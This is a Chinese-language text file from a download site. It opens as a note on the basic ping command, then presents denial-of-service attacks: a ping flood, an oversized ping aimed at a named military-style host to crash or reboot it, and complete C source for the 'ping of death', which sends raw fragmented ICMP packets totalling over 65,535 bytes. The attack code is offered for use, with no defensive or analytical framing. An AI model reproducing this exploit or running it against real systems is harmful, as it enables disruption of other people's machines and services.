⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ping命令的基本格式:.txt

📁 肯德基发金凤凰丢就 负电荷幅度 ping命令的简单形式
💻 TXT
字号:
1.Ping命令的基本格式: 
    ping hostname 

  其中hostname是目标计算机的地址。Ping还有许多高级使用,下面就是一个例子。 
C:> ping -f hostname 
  这条命令给目标机器发送大量的数据,从而使目标计算机忙于回应。在Windows 95的计算机上,使用下面的方法: 
c:\windows\ping -l 65500 saddam_hussein's.computer.mil 
  这样做了之后,目标计算机有可能会挂起来,或从新启动。由于 -l 65510 产生一个巨大的数据包。由于要求返回一个同样的数据包,会使目标计算机反应不过来。 
  在Linux计算机上,可以编写一个程序来实现上述方法。 
#include <stdio.h> 
#include <sys/types.h> 
#include <sys/socket.h> 
#include <netdb.h> 
#include <netinet/in.h> 
#include <netinet/in_systm.h> 
#include <netinet/ip.h> 
#include <netinet/ip_icmp.h> 
  
/* 
* If your kernel doesn't muck with raw packets, #define REALLY_RAW. 
* This is probably only Linux. 
*/ 
#ifdef REALLY_RAW 
#define FIX(x) htons(x) 
#else 
#define FIX(x) (x) 
#endif 
  
int 
main(int argc, char **argv) 
{ 
    int s; 
    char buf[1500]; 
    struct ip *ip = (struct ip *)buf; 
    struct icmp *icmp = (struct icmp *)(ip + 1); 
    struct hostent *hp; 
    struct sockaddr_in dst; 
    int offset; 
    int on = 1; 
  
    bzero(buf, sizeof buf); 
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) { 
        perror("socket"); 
        exit(1); 
    } 
    if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) { 
        perror("IP_HDRINCL"); 
        exit(1); 
    } 
    if (argc != 2) { 
        fprintf(stderr, "usage: %s hostname\n", argv[0]); 
        exit(1); 
    } 
    if ((hp = gethostbyname(argv[1])) == NULL) { 
        if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) { 
            fprintf(stderr, "%s: unknown host\n", argv[1]); 
        } 
    } else { 
        bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length); 
    } 

    printf("Sending to %s\n", inet_ntoa(ip->ip_dst)); 
    ip->ip_v = 4; 
    ip->ip_hl = sizeof *ip >> 2; 
    ip->ip_tos = 0; 
    ip->ip_len = FIX(sizeof buf); 
    ip->ip_id = htons(4321); 
    ip->ip_off = FIX(0); 
    ip->ip_ttl = 255; 
    ip->ip_p = 1; 
     ip->ip_sum = 0;         /* kernel fills in */ 
    ip->ip_src.s_addr = 0;     /* kernel fills in */ 
  
    dst.sin_addr = ip->ip_dst; 
    dst.sin_family = AF_INET; 
  
    icmp->icmp_type = ICMP_ECHO; 
    icmp->icmp_code = 0; 
    icmp->icmp_cksum = htons(~(ICMP_ECHO << 8)); 
        /* the checksum of all 0's is easy to compute */ 

    for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) { 
        ip->ip_off = FIX(offset >> 3); 
        if (offset < 65120) 
            ip->ip_off |= FIX(IP_MF); 
        else 
            ip->ip_len = FIX(418); /* make total 65538 */ 
        if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst, 
                    sizeof dst) < 0) { 
            fprintf(stderr, "offset %d: ", offset); 
            perror("sendto"); 
        } 
        if (offset == 0) { 
            icmp->icmp_type = 0; 
            icmp->icmp_code = 0; 
            icmp->icmp_cksum = 0; 
        } 
    } 
} 
 
 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -